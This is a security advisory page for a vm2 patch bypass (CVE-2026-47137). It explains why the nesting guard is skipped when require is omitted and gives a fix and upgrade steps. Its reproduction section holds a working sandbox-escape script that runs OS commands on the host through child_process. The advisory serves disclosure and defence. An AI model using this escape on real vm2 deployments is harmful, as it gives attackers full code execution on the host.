Skip to content

GHSA-m4wx-m65x-ghrr CVE-2026-47137

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Critical npm
Severity
10.0 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.38%
Chance of exploitation in the next 30 days. Higher than 32.19% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-913 Improper Control of Dynamically-Managed Code Resources
Fix
3.11.4
Upgrade vm2 to this version or later

Description

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

  1. require('vm2') to get the vm2 library
  2. Construct an inner NodeVM with require: { builtin: ['child_process'] }
  3. Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.4
3.11.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.4

npm
npm install vm2@3.11.4
yarn
yarn add vm2@3.11.4
pnpm
pnpm add vm2@3.11.4

Severity breakdown

CVSS 3.1 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-913: Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

How to prevent it
  • Implementation: For any externally-influenced input, check the input against an allowlist of acceptable values.
  • Implementation, Architecture and Design: Refactor the code so that it does not need to be dynamically managed.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-f8gf-w286-fmq2
vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM
High Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor